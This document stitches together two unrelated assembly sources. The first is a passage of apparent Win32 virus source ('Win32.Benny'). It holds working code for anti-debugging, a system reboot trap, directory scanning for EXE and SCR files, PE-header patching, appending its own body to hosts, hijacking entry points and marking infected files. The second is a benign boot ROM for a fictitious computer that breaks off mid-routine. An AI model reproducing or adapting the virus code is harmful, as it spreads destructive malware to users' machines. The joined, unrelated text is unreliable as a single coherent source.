;no, continue mov eax, 909119cdh ;yeah, reboot system jmp $ - 4 NT_debug_trap: call IsDebugger ;WinNT, check, if debugger active jecxz seh_rs ;no, continue xor esp, esp ;yeah, freeze app IsDebugger: call [ebp + MyIsDebuggerPresent] ;call checkin API xchg eax, ecx ret quit: pop eax mov eax, [ebp + OrigEPoint] ;get original entrypoint rva sub eax, -400000h ;make it raw pointer mov [esp.Pushad_eax], eax popad jmp eax ;jump to host end_unpacking: lea edx, [ebp + vszKernel32] ;KERNEL32 push edx mov edx, [ebp + MyGetModuleHandleA] ;GetModuleHandleA API call [edx] ;get module of kernel32 xchg eax, ecx jecxz quit ;shit, not found, jump to host xchg ecx, ebx lea edi, [ebp + Virus_End] ;get addresses of APIs lea esi, [ebp + f_names] GetAPIAddress: call MyGetProcAddress jecxz quit xchg eax, ecx stosd @endsz cmp byte ptr [esi], 0 jne GetAPIAddress pushad ;now, we have all APIs, we can check @SEH_SetupFrame ;for debugger inc dword ptr gs:[edx] ;raise exception ;now, we continue at seh_fn label seh_rs: lea esi, [ebp + PathName] ;debugger not present, continue push esi push esi push 256 call [ebp + MyGetCurrentDirectoryA] ;get current directory pop ebx push 256 lea edi, [ebp + WindowsPath] push edi call [ebp + MyGetWindowsDirectoryA] ;get windows directory Next_Char: cmpsb ;compare directories jmp_patch: jne NoMatch ;this jump will be path in next check jne Try_Process_Dir ;jump for next check fail Matched_Char: cmp byte ptr [esi - 1], 0 ;end of string ? jne Next_Char jmp quit NoMatch: ;check for system directory push 256 lea edi, [ebp + WindowsPath] push edi call [ebp + MyGetSystemDirectoryA] mov word ptr [ebp + jmp_patch], 9090h ;patch jump mov esi, ebx jmp Next_Char Try_Process_Dir: call FindFirstFile ;we arnt in \windoze or \system dir, find file inc eax ;success ? je Try_Scr ;nope, try SCRs dec eax process_dir_check: call CheckFileName ;check name jnc Infect_File ;ok, infect file call FindNextFile ;nope, find next file test eax, eax jne process_dir_check ;ok, check name Try_Scr: call FindClose ;find previous searchin lea edx, [ebp + Win32_Find_Data] push edx lea edx, [ebp + vszScr] push edx call [ebp + MyFindFirstFileA] ;find first SCR inc eax je quit ;no files left, jump to host dec eax Infect_File: ;Check size xor ecx, ecx lea ebx, [ebp + Win32_Find_Data] test byte ptr [ebx], FILE_ATTRIBUTE_DIRECTORY jne end_size_check ;discard directories cmp [ebx.WFD_nFileSizeHigh], ecx ;discard huge files jne end_size_check mov edi, [ebx.WFD_nFileSizeLow] lea esi, [ebx.WFD_szFileName] cmp edi, 16 * 1024 ;discard small files jb end_size_check cmp edi, 64000 * 1024 jg end_size_check ;discard huge files push ecx ;blank file attributez push esi call [ebp + MySetFileAttributesA] test eax, eax je end_size_check push edi ;open and map file sub edi, Start_Virus - Virtual_End call Open&MapFile pop edi test ecx, ecx je end_SetFileAttributez cmp word ptr [ecx], 'ZM' ;Check PE-header jne Close&UnmapFile xchg eax, edx mov edx, [ecx.MZ_lfanew] cmp eax, edx jb CloseFile add edx, ecx cmp dword ptr [edx], 'EP' jne CloseFile movzx eax, word ptr [edx.NT_FileHeader.FH_Machine] cmp ax, 14ch ;must be 386+ jne CloseFile mov ebx, ecx movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] cmp ecx, 3 jb CloseFile ;at least 3 sections mov ax, word ptr [edx.NT_FileHeader.FH_Characteristics] not al test ax, 2002h ;executable, but not DLL jne CloseFile cmp dword ptr [edx.NT_OptionalHeader.OH_ImageBase], 64*65536 ;image base only 400000h jne CloseFile lea eax, [ebp + vszGetModuleHandleA] mov ecx, ebx lea edx, [ebp + vszKernel32] call GetProcAddressIT ;find GetModuleHandleA API entry test eax, eax je CloseFile lea edx, [ebp + MyGetModuleHandleA] sub eax, -400000h mov [edx], eax ;save that entry pushad ;load 64bit checksum push ebx mov esi, ebx sub esi, -MZ_res2 lodsd mov ebx, eax lodsd mov edi, eax pop esi push esi push ebp mov eax, [ebp + Win32_Find_Data.WFD_nFileSizeLow] sub esi, -MZ_res2 - 8 mov ebp, 8 cdq div ebp cdq mul ebp pop ebp mov ecx, eax call Checksum64 ;generate new 64bit checksum pop esi ;and compare checksums cmp ebx, edx jne n_Infect cmp edi, eax je CloseFile n_Infect: popad push ecx push ecx mov edx, [ecx.MZ_lfanew] add edx, ecx movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [edx.NT_OptionalHeader + esi] ;locate first section movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz mov edi, esi ;get LAST section xor eax, eax push ecx BSection: cmp [edi.SH_PointerToRawData], eax je NBiggest mov ebx, ecx mov eax, [edi.SH_PointerToRawData] NBiggest: sub edi, -IMAGE_SIZEOF_SECTION_HEADER loop BSection pop ecx sub ecx, ebx push edx imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER pop edx add esi, eax mov edi, dword ptr [esi.SH_SizeOfRawData] mov eax, Virtual_End - Start_Virus push edi lea edi, [esi.SH_VirtualSize] ;new virtual size of section push dword ptr [edi] add [edi], eax mov eax, [edi] push edx mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment] xor edx, edx div ecx xor edx, edx inc eax mul ecx mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size) mov ecx, eax pop edx pop ebx add ebx, [esi.SH_VirtualAddress] mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint] pop edi push eax mov eax, [ebp + OrigEPoint] pop [ebp + OrigEPoint] mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebx sub ecx, edi add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags pop edi add edi, [esi.SH_PointerToRawData] add edi, [esi.SH_VirtualSize] add edi, Start_Virus - Virtual_End lea esi, [ebp + Start_Virus] mov ecx, (Virus_End - Start_Virus + 3) / 4 rep movsd ;copy virus mov [ebp + OrigEPoint], eax ;restore variable after copy stage jmp CloseFileOK CloseFile: call Close&UnmapFile ;unmap view of file jmp end_SetFileAttributez ;and restore attributes CloseFileOK: pop esi push esi push ebx push ebp mov ebp, 8 mov ebx, MZ_res2 + 8 add esi, ebx mov ecx, ebp mov eax, edi add eax, ebx sub eax, esi cdq div ecx cdq imul ecx, eax, 8 call Checksum64 ;generate new 64bit checksum as "already infected" mark sub esi, ebp mov [esi], edx ;store it to MZ.MZ_res2 field mov [esi+4], eax pop ebp pop ebx pop esi sub edi, esi mov [ebp + Win32_Find_Data.WFD_nFileSizeLow], edi ;correct file size for unmapping call Close&UnmapFile ;unmap view of file end_SetFileAttributez: push dword ptr [ebp + Win32_Find_Data] ;restore attributes push esi call [ebp + MySetFileAttributesA] end_size_check: call FindNextFile ;find next file test eax, eax jne next_file ;weve got one, check that call FindClose ;nope, close search handle jmp quit ;and jump to host next_file: call CheckFileName ;check file name jnc Infect_File ;ok, infect it jmp end_size_check ;nope, try next file CheckFileName proc ;check file name lea edi, [ebp + Win32_Find_Data.WFD_szFileName] lea esi, [ebp + vszNamez] mov ecx, vszNumberOfNamez mov edx, edi Ext_Next_Char: @endsz mov edi, edx Ext_Next_Char2: cmpsb je Ext_Matched_Char inc eax loop Ext_Next_Char clc ret Ext_Matched_Char: cmp byte ptr [esi - 1], 0 jne Ext_Next_Char2 stc end_Ext_Checking: ret CheckFileName EndP FindFirstFile proc ;find first file procedure lea edx, [ebp + Win32_Find_Data] push edx lea edx, [ebp + vszExe] push edx call [ebp + MyFindFirstFileA] mov [ebp + SearchHandle], eax ret FindFirstFile EndP FindNextFile proc ;find next file procedure lea edx, [ebp + Win32_Find_Data] push edx push dword ptr [ebp + SearchHandle] call [ebp + MyFindNextFileA] ret FindNextFile EndP FindClose proc ;find close procedure push dword ptr [ebp + SearchHandle] call [ebp + MyFindClose] ret FindClose EndP Open&MapFile proc ;open and map file procedure xor eax, eax push eax ;NULL push eax ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push eax ;NULL push 1 ;FILE_SHARE_READ push 0c0000000h ;GENERIC_READ | GENERIC_WRITE push esi ;pszFileName call [ebp + MyCreateFileA] ;open cdq inc eax je end_Open&MapFile dec eax mov [ebp + hFile], eax push edx ;NULL push edi ;file size push edx ;0 push 4 ;PAGE_READWRITE push edx ;NULL push eax ;handle call [ebp + MyCreateFileMappingA] ;create mapping object cdq xchg ecx, eax jecxz end_Open&MapFile2 mov [ebp + hMapFile], ecx push edx ;0 push edx ;0 push edx ;0 push 2 ;FILE_MAP_WRITE push ecx ;handle call [ebp + MyMapViewOfFile] ;map file to address space of app mov ecx, eax jecxz end_Open&MapFile3 mov [ebp + lpFile], ecx end_Open&MapFile: mov ecx, eax ret Open&MapFile EndP Close&UnmapFile proc ;close and unmap file procedure push dword ptr [ebp + lpFile] call [ebp + MyUnmapViewOfFile] ;unmap file end_Open&MapFile3: push dword ptr [ebp + hMapFile] call [ebp + MyCloseHandle] ;close mapping object end_Open&MapFile2: mov ebx, [ebp + hFile] cdq ;xor edx, edx push edx ;FILE_BEGIN push edx ;0 - high offset push dword ptr [ebp + Win32_Find_Data.WFD_nFileSizeLow] push ebx call [ebp + MySetFilePointer] push ebx call [ebp + MySetEndOfFile] ;truncate file lea edx, [ebp + Win32_Find_Data.WFD_ftLastWriteTime] push edx lea edx, [ebp + Win32_Find_Data.WFD_ftLastAccessTime] push edx lea edx, [ebp + Win32_Find_Data.WFD_ftCreationTime] push edx push ebx call [ebp + MySetFileTime] ;restore time push ebx call [ebp + MyCloseHandle] ;and finally close file ret Close&UnmapFile EndP ;procedure for exploring modules export table MyGetProcAddress proc ;input: ;ebx - module address ;esi - pointer to API name ;output: ;ecx - address of GetProcAddress at memory push ebx push edi push esi push ebp @SEH_SetupFrame mov eax, ebx add eax, [eax.MZ_lfanew] mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz Proc_Address_not_found mov ebp, ebx add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] push ecx mov edx, ebx add edx, [ebp.ED_AddressOfNames] mov ecx, [ebp.ED_NumberOfNames] xor eax, eax Search_for_API_name: mov edi, [esp + 16] mov esi, ebx add esi, [edx + eax * 4] Next_Char_in_API_name: cmpsb jz Matched_char_in_API_name inc eax loop Search_for_API_name pop eax Proc_Address_not_found: xor eax, eax jmp End_MyGetProcAddress Matched_char_in_API_name: cmp byte ptr [esi-1], 0 jne Next_Char_in_API_name pop ecx mov edx, ebx add edx, [ebp.ED_AddressOfOrdinals] movzx eax, word ptr [edx + eax * 2] Check_Index: cmp eax, [ebp.ED_NumberOfFunctions] jae Proc_Address_not_found mov edx, ebx add edx, [ebp.ED_AddressOfFunctions] add ebx, [edx + eax * 4] mov eax, ebx sub ebx, ebp cmp ebx, ecx jb Proc_Address_not_found End_MyGetProcAddress: @SEH_RemoveFrame xchg eax, ecx pop ebp pop esi pop edi pop ebx ret MyGetProcAddress endp ;all beginners=> im so sorry, but I didnt have any time to comment this stuff. GetProcAddressIT proc ;input: ;EAX - API name ;ECX - lptr to PE header ;EDX - module name ;output: ;EAX - RVA pointer to IAT, 0 if error pushad xor eax, eax push ebp mov ebp, ecx lea esi, [ecx.MZ_lfanew] add ebp, [esi] mov esi, ebp ;RVA of Import table mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] mov ebp, ecx push ecx movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections] movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] lea ebx, [esi.NT_OptionalHeader + ebx] scan_sections: mov edx, [ebx.SH_VirtualAddress] cmp edx, eax je section_found sub ebx, -IMAGE_SIZEOF_SECTION_HEADER loop scan_sections pop ecx pop eax jmp End_GetProcAddressIT2 section_found: mov ebx, [ebx + 20] add ebx, ebp pop ecx pop eax test ebx, ebx je End_GetProcAddressIT2 xor esi, esi xor ebp, ebp push esi dec ebp Get_DLL_Name: pop esi inc ebp mov edi, [esp + 20] mov ecx, [ebx.esi.ID_Name] ;Name RVA test ecx, ecx je End_GetProcAddressIT2 sub ecx, edx sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR push esi lea esi, [ebx + ecx] Next_Char_from_DLL: lodsb add al, -'.' jz IT_nup sub al, -'.' + 'a' cmp al, 'z' - 'a' + 1 jae no_up add al, -20h no_up: sub al, -'a' IT_nup: scasb jne Get_DLL_Name cmp byte ptr [edi-1], 0 jne Next_Char_from_DLL Found_DLL_Name: pop esi imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR mov ecx, [ebx + eax.ID_OriginalFirstThunk] jecxz End_GetProcAddressIT2 sub ecx, edx add ecx, ebx xor esi, esi Next_Imported_Name: push esi mov edi, [esp + 32] mov esi, [ecx + esi] test esi, esi je End_GetProcAddressIT3 sub esi, edx add esi, ebx lodsw next_char: cmpsb jne next_step cmp byte ptr [esi-1], 0 je got_it jmp next_char next_step: pop esi sub esi, -4 jmp Next_Imported_Name got_it: pop esi imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR add ebx, ebp mov eax, [ebx.ID_FirstThunk] add eax, esi mov [esp + 28], eax jmp End_GetProcAddressIT End_GetProcAddressIT3: pop eax End_GetProcAddressIT2: xor eax, eax mov [esp.Pushad_eax], eax End_GetProcAddressIT: popad ret GetProcAddressIT EndP Checksum64 proc ;output: ; EDX:EAX - 64-bit checksum push ebx ;save regs push ecx push edi push esi xor eax, eax ;nulify eax cdq ;nulify edx make_crc: call crc_byte ;read 8 bytes adc eax, ebx ;add LSD + CF to LSD jnc @1 not eax ;invert LSD @1: xor eax, edx ;rotate LSD LSB times jp @2 call crc_rotate ;rotate LSD and MSD @2: js crc_msd sbb eax, edx ;sub LSD with MSD + CF crc_msd:sbb edx, edi ;sub MSD with MSD + CF jnp @3 not edx ;invert MSD @3: xor edx, eax ;xor MSD with LSD jns @4 call crc_rotate ;rotate LSD and MSD @4: jc crc_loop adc edx, eax ;add LSD to MSD + CF crc_loop: jp next_loop call crc_swap ;swap bytes in LSD and MSD next_loop: dec eax ;decrement LSD inc edx ;increment MSD loop make_crc ;until ecx = 1 pop esi ;restore regs pop edi pop ecx pop ebx ret crc_byte: ;read 8 bytes from source push eax lodsd ;load 4 bytes mov ebx, eax ;ebx = new 4 bytes lodsd ;load next 4 bytes mov edi, eax ;edi = new 4 bytes pop eax add ecx, -7 ;correct ecx for loop ret crc_rotate: ;rotate LSD and MSD push ecx push edi xor edi, eax ;xor MSD with LSD mov ecx, edi ;count of rotations pop edi rcr eax, cl ;rotate LSD push ebx xor ebx, edx ;xor LSD with MSD mov ecx, ebx ;count of rotations pop ebx rcl edx, cl ;rotate MSD pop ecx ret crc_swap: ;swap bytes in LSD and MSD xchg al, dh ;swap LSD and MSD lower bytes xchg ah, dl ; ... rol eax, 16 ;get highest bytes rol edx, 16 ; ... xchg al, dh ;swap LSD and MSD higher bytes xchg ah, dl ; ... xchg eax, edx ;and swap LSD with MSD ret db 'Win32.Benny (c) 1999 by Benny', 0 ;my mark Checksum64 EndP OrigEPoint dd offset host - 400000h MyGetModuleHandleA dd offset _GetModuleHandleA Virus_End: MyGetVersion dd ? MyIsDebuggerPresent dd ? MyCreateFileA dd ? MyFindFirstFileA dd ? MyFindNextFileA dd ? MyFindClose dd ? MySetFileAttributesA dd ? MyCloseHandle dd ? MyCreateFileMappingA dd ? MyMapViewOfFile dd ? MyUnmapViewOfFile dd ? MySetFilePointer dd ? MySetEndOfFile dd ? MySetFileTime dd ? MyGetWindowsDirectoryA dd ? MyGetSystemDirectoryA dd ? MyGetCurrentDirectoryA dd ? v_strings: vszKernel32 db 'KERNEL32', 0 vszGetModuleHandleA db 'GetModuleHandleA', 0 f_names: vszGetVersion db 'GetVersion', 0 vszIsDebuggerPresent db 'IsDebuggerPresent', 0 vszCreateFileA db 'CreateFileA', 0 vszFindFirstFileA db 'FindFirstFileA', 0 vszFindNextFileA db 'FindNextFileA', 0 vszFindClose db 'FindClose', 0 vszSetFileAttributesA db 'SetFileAttributesA', 0 vszCloseHandle db 'CloseHandle', 0 vszCreateFileMappingA db 'CreateFileMappingA', 0 vszMapViewOfFile db 'MapViewOfFile', 0 vszUnmapViewOfFile db 'UnmapViewOfFile', 0 vszSetFilePointer db 'SetFilePointer', 0 vszSetEndOfFile db 'SetEndOfFile', 0 vszSetFileTime db 'SetFileTime', 0 vszGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0 vszGetSystemDirectoryA db 'GetSystemDirectoryA', 0 vszGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0, 0 vszExe db '*.EXE', 0 vszScr db '*.SCR', 0 vszNamez db 'NTVDM.EXE', 0 db 'RUNDLL32.EXE', 0 db 'TD32.EXE', 0 db 'TLINK32.EXE', 0 db 'TASM32.EXE', 0 PathName db 256 dup (?) WindowsPath db 256 dup (?) Win32_Find_Data WIN32_FIND_DATA ? SearchHandle dd ? hFile dd ? hMapFile dd ? lpFile dd ? Virtual_End: _GetModuleHandleA dd offset GetModuleHandleA host: push 1000h push offset Msg push offset Msg push 0 call MessageBoxA exit_h: push 0 call ExitProcess Msg db 'First generation of Win32.Benny', 0 ends End Start_Virus
; Ellipse Workstation 1100 (fictitious computer) ; ROM code (initial boot) ; ; Copyright (c) 2020 Sampo Hippeläinen (hisahi) ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; Written for the WLA-DX assembler ; .DEFINE BOOT_BACKGROUND_COLOR $55 .DEFINE BOOT_DISK_MSG_X 26 .DEFINE BOOT_DISK_MSG_Y 28 .DEFINE COPYRIGHT_MSG_X 16 .DEFINE COPYRIGHT_MSG_Y 46 SEI CLC ; \ enter native mode XCE ; / starting with 8-bit A, X, Y CLD STZ VPUCNTRL.W AXY16 .IF _DEBUG == 0 JSR CHECKSUM .ENDIF ALMOSTRESET: XY16 ACC8 LDA #$00.B PHA PLB ; B = 0 AXY16 LDA #$0000 TCD ; D = 0 LDA #$03FF TCS ; S to $03FF ACC8 ; reset HW registers STZ EINTGNRC.W ; disable interrupts STZ DMA0CTRL.W ; reset DMA #0-#3 STZ DMA1CTRL.W STZ DMA2CTRL.W STZ DMA3CTRL.W LDA #%01000000 ; reset floppy drives STA FLP1STAT.W STA FLP2STAT.W ACC16 ; copy palette to VRAM using DMA0 LDA #$0043 ; from bank $00 to $43 STA DMA0BNKS.W LDX #DTA_PALETTE_START STX DMA0SRC.W STZ DMA0DST.W LDA #(DTA_PALETTE_END - DTA_PALETTE_START) STA DMA0CNT.W ACC8 LDA #$0091 ; enable DMA & IRQ when over; we will WAI STA DMA0CTRL.W - BIT DMA0STAT.W BMI - LDA #BOOT_BACKGROUND_COLOR.B JSR FAST_SCREEN_FILL.W ; set up interrupt trampolines LDA #$80.B ; RAM bank #$80 PHA PLB ; do not allow FIXTEXT to use DMA1 STZ TEXT_USEDMA1.W ; set text mode background color background color LDA #BOOT_BACKGROUND_COLOR.b STA $FFFF&TEXT_BGCOLOR.w LDA #$5C.B ; JML $BBHHLL STA $FFFF&(SWRAMCOP-1).w STA $FFFF&(SWRAMBRK-1).w STA $FFFF&(SWRAMNMI-1).w STA $FFFF&(SWRAMIRQ-1).w ; default setting to bank 0 STZ $FFFF&(SWRAMCOP+2).w STZ $FFFF&(SWRAMBRK+2).w STZ $FFFF&(SWRAMNMI+2).w STZ $FFFF&(SWRAMIRQ+2).w AXY16 ; set up interrupt trampolies to INTH_RET LDA #INTH_RET.w STA $FFFF&SWRAMCOP.w STA $FFFF&SWRAMBRK.w STA $FFFF&SWRAMNMI.w STA $FFFF&SWRAMIRQ.w STZ IN_SWAPBRK.W STZ IN_SWAPIRQ.W STZ IN_SWAPNMI.W STZ TEXT_CURSORON.W ACC8 ; set text mode background color foreground to $7F LDA #$7F STA $FFFF&TEXT_FGCOLOR.w LDA #$00.B PHA PLB ; B = 0 AXY16 STZ FLP1SECT.W ; sector, track, side all to 0 ; copy ELLIPSE text logo to screen LDX #42 LDA #PIC_LOGO_START.w STA DMA0SRC.W ; copy from logo image in ROM LDY #$3080 ; ... to $41:3080 STY DMA0DST.W LDA #$0041 ; bank setup STA DMA0BNKS.W @LOGOLOOP: LDA #$0100 STA DMA0CNT.W ; copy total of 256 bytes LDA #$0091 ; enable DMA & IRQ when over; we will WAI STA DMA0CTRL.W WAI ; wait until end of DMA TYA CLC ADC #$0200 ; make sure we start on the same X coordinate STA DMA0DST TAY DEX BNE @LOGOLOOP ; copy ELLIPSE image logo to screen LDX #96 LDA #PIC_LOGOI_START STA DMA0SRC.W ; copy from logo image in ROM LDY #$40D0 ; ... to $40:40D0 STY DMA0DST.W LDA #$0040 ; bank setup STA DMA0BNKS.W @LOGOILOOP: LDA #$0060 STA DMA0CNT.W ; copy total of 96 bytes LDA #$0091 ; enable DMA & IRQ when over; we will WAI STA DMA0CTRL.W WAI ; wait until end of DMA TYA CLC ADC #$0200 ; make sure we start on the same X coordinate STA DMA0DST TAY DEX BNE @LOGOILOOP ; copy copyright message to RAM STZ DMA0SRC.W ; copy from logo image in ROM STZ DMA0DST.W LDA #$0080 ; bank setup STA DMA0BNKS.W LDA #$0031 STA DMA0CNT.W ; copy total of 49 bytes LDA #$0091 ; enable DMA & IRQ when over; we will WAI STA DMA0CTRL.W WAI ; wait until end of DMA ; write copyright message to screen ACC8 PHB LDA #$80 PHA PLB ACC16 LDX #COPYRIGHT_MSG_X LDY #COPYRIGHT_MSG_Y LDA #$0000 JSL TEXT_WRSTRAT PLB .IF _DEBUG != 0 LDX #COPYRIGHT_MSG_X LDY #25 LDA #MESSAGE_DEBUG JSL TEXT_WRSTRAT .ENDIF ; write menu message to screen LDA #MESSAGE_OPENMENU.w LDX #BOOT_DISK_MSG_X.w LDY #1+BOOT_DISK_MSG_Y.w JSL TEXT_WRSTRAT ACC8 ; turn screen on LDA #$02.B STA VPUCNTRL.W ACC16 .IF _DEBUG != 0 ; development build; skip waiting period BRA @SKIPWAIT .ENDIF @SECOND_WAIT: ; wait for about a second ; enable VPU v-sync NMI ACC8 LDA VPUCNTRL.W ORA #$04 STA VPUCNTRL.W ACC16 LDX #80 - WAI DEX BNE - ; disable VPU v-sync NMI ACC8 LDA VPUCNTRL.W AND #$FB STA VPUCNTRL.W @SKIPWAIT: ACC8 ; enable keyboard interrupt LDA #$01 STA EINTGNRC.W JSL KEYB_UPDKEYS JSL KEYB_GETMODS AND #$10 BNE BIOS_MENU ; set up floppy drive I to do IRQs LDA #%01100000 ; enable IRQ STA FLP1STAT FIRSTFLOPPYCHECK: JSR CHECK_FLOPPY_DISK BEQ + JMP GOT_FLOPPY + ; copy "insert floppy" image to screen PHP AXY16 LDA #MESSAGE_INSERTDISK.w LDX #BOOT_DISK_MSG_X.w LDY #BOOT_DISK_MSG_Y.w JSL TEXT_WRSTRAT LDX #96 LDA #PIC_FLOPPY_START.W STA DMA0SRC.W ; copy from floppy image in ROM LDY #$04DE ; ... to $42:04DE STY DMA0DST.W LDA #$0042 ; bank setup STA DMA0BNKS.W @FLOPPYLOOP: LDA #96 STA DMA0CNT.W ; copy total of 64 bytes ACC8 LDA #$0091 ; enable DMA & IRQ when over; we will WAI STA DMA0CTRL.W - BIT DMA0STAT.W ; wait until end of DMA BMI - ACC16 TYA CLC ADC #$0200 ; make sure we start on the same X coordinate STA DMA0DST TAY DEX BNE @FLOPPYLOOP PLP JSL KEYB_RESETBUF ACC8 WAIT_FLOPPY_LOOP: JSL KEYB_UPDKEYS JSL KEYB_GETMODS AND #$10 BNE BIOS_MENU JSR CHECK_FLOPPY_DISK BNE GOT_FLOPPY @IRQWAI: WAI BRA WAIT_FLOPPY_LOOP BIOS_MENU: ACC8 LDA #0 ; disable floppy IRQ STA FLP1STAT STA TEXT_BGCOLOR.L XY16 JSR FAST_SCREEN_FILL.W CLC JSL TEXT_CLRSCR.L ACC8 PHB LDA #$08 PHA PLB ACC16 LDX #COPYRIGHT_MSG_X LDY #4 LDA #$0000 JSL TEXT_WRSTRAT PLB .IF _DEBUG != 0 LDX #COPYRIGHT_MSG_X LDY #5 LDA #MESSAGE_DEBUG.W JSL TEXT_WRSTRAT .ENDIF LDA #MESSAGE_MENU_CHECKSUM.W LDX #54 LDY #6 JSL TEXT_WRSTRAT LDA $07FFFE.L JSL WRITE_HEX_WORD LDA #MESSAGE_MENU.w LDX #0 LDY #6 JSL TEXT_WRSTRAT JMP BIOS_MENU_LOOP GOT_FLOPPY: ; read first sector of floppy .ACCU 8 STZ FLP1SECT ; sector, track, side STZ FLP1TRCK ; to 0 LDA #$61 STA FLP1STAT ; start seek & read ACC16 LDA #MESSAGE_BLANK.w LDX #BOOT_DISK_MSG_X LDY #BOOT_DISK_MSG_Y JSL TEXT_WRSTRAT ACC8 @SEEKLOOP: BIT FLP1STAT BVS GOT_FLOPPY_ERR BPL @SEEKLOOP @SEEKDONE: ; read with DMA AXY16 LDA #FLP1DATA STA DMA0SRC STZ DMA0DST LDA #$0200 STA DMA0CNT LDA #$7080 ; from $70 to make sure it uses I/O STA DMA0BNKS LDA #$0095 ; turn on DMA & IRQ, fixed src address STA DMA0CTRL ACC8 - BIT FLP1STAT BVS GOT_FLOPPY_ERR BIT DMA0STAT BMI - AXY16 BRA GOT_FLOPPY_CHECK_BOOT GOT_FLOPPY_ERR: ACC8 LDA FLP1DATA CMP #2 ACC16 BEQ @NODISK LDA #MESSAGE_DISKNOTVALID.w BRA @GENERIC @NODISK: LDA #MESSAGE_INSERTDISK.w @GENERIC: LDX #BOOT_DISK_MSG_X.w LDY #BOOT_DISK_MSG_Y.w JSL TEXT_WRSTRAT ACC8 JMP WAIT_FLOPPY_LOOP@IRQWAI GOT_FLOPPY_NOBOOT: ACC16 LDA #MESSAGE_DISKNONBOOTABLE.w LDX #BOOT_DISK_MSG_X.w LDY #BOOT_DISK_MSG_Y.w JSL TEXT_WRSTRAT ACC8 JMP WAIT_FLOPPY_LOOP@IRQWAI GOT_FLOPPY_CHECK_BOOT: .ACCU 16 LDA $800000.L CMP #$4C45.W BNE GOT_FLOPPY_NOBOOT LDA $800002.L CMP #$494C.W BNE GOT_FLOPPY_NOBOOT LDA $800004.L CMP #$5350.W BNE GOT_FLOPPY_NOBOOT LDA $800006.L CMP #$4045.W BNE GOT_FLOPPY_NOBOOT @IS_BOOTABLE: SEI ACC8 ; set text mode background color to $00 LDA #$00 STA TEXT_BGCOLOR.L ; disable many hardware interrupts STA EINTGNRC.L ; clear text mode VRAM CLC JSL TEXT_CLRBUF LDA #$0000 ; clear the entire screen ACC8 JSR FAST_SCREEN_FILL JSL KEYB_RESETBUF ACC8 LDA #$80 PHA PLB AXY16 LDA #$0000 TCD LDA #$03FF.w TCS ; S to $03FF JML $800008 STP BIOS_MENU_LOOP: ACC8 JSL KEYB_UPDKEYS JSL KEYB_GETKEY BEQ + BCC + CMP #$10 BEQ BIOS_MENU_REBOOT BIT $0F44.W BMI BIOS_MENU_MONITOR + WAI BRA BIOS_MENU_LOOP BIOS_MENU_REBOOT: ACC8 CLC JSL TEXT_CLRBUF JMP ALMOSTRESET BIOS_MENU_MONITOR: JSL MLMONITOR.L CLC JSL TEXT_CLRBUF JMP ALMOSTRESET CHECK_FLOPPY_DISK: LDA FLP1STAT.W AND #%00011100.B RTS FAST_SCREEN_FILL: ; assumes 8-bit A, 16-bit X, Y ACC8 STA $80102A.L PHP CLD SEI ; disable interrupts AXY16 LDX #$0003 LDA #$102A STA DMA0SRC.W ; copy from $80:102A STZ DMA0DST.W ; to $40:0000 LDY #$8040 ; bank setup @FSLOOP: STY DMA0BNKS.W STZ DMA0CNT.W ; copy total of 64K bytes LDA #$0094 ; enable DMA STA DMA0CTRL.W ; fixed SRC address, changing DST address - BIT DMA0CTRL.W ; wait until end of DMA BMI - INY ; increase target bank DEX BNE @FSLOOP PLP RTS .DEFINE CHECKSUM_MINBANK $08 .DEFINE CHECKSUM_MAXBANK $0F .ACCU 16 .INDEX 16 CHECKSUM: LDA #0 LDX #0 - .REPEAT CHECKSUM_MAXBANK-CHECKSUM_MINBANK+1 INDEX BINDEX CLC ADC (CHECKSUM_MINBANK+BINDEX)<<16.L,X .ENDR INX INX BNE - CMP #0 BNE CHECKSUM_FAIL RTS CHECKSUM_FAIL: ; this is bad, display red screen ACC8 LDA #$02.B STA VPUCNTRL.W LDA #00 JSR FAST_SCREEN_FILL AXY16 LDA #$1F00 STA $430000.L STP WRITE_HEX_BYTE: PHA AND #$F0 LSR A LSR A LSR A LSR A TAX LDA TEXT_HEXDIGITS.L,X JSL TEXT_WRCHR LDA 1,S AND #$0F TAX LDA TEXT_HEXDIGITS.L,X JSL TEXT_WRCHR PLA RTL WRITE_HEX_BYTE8: .ACCU 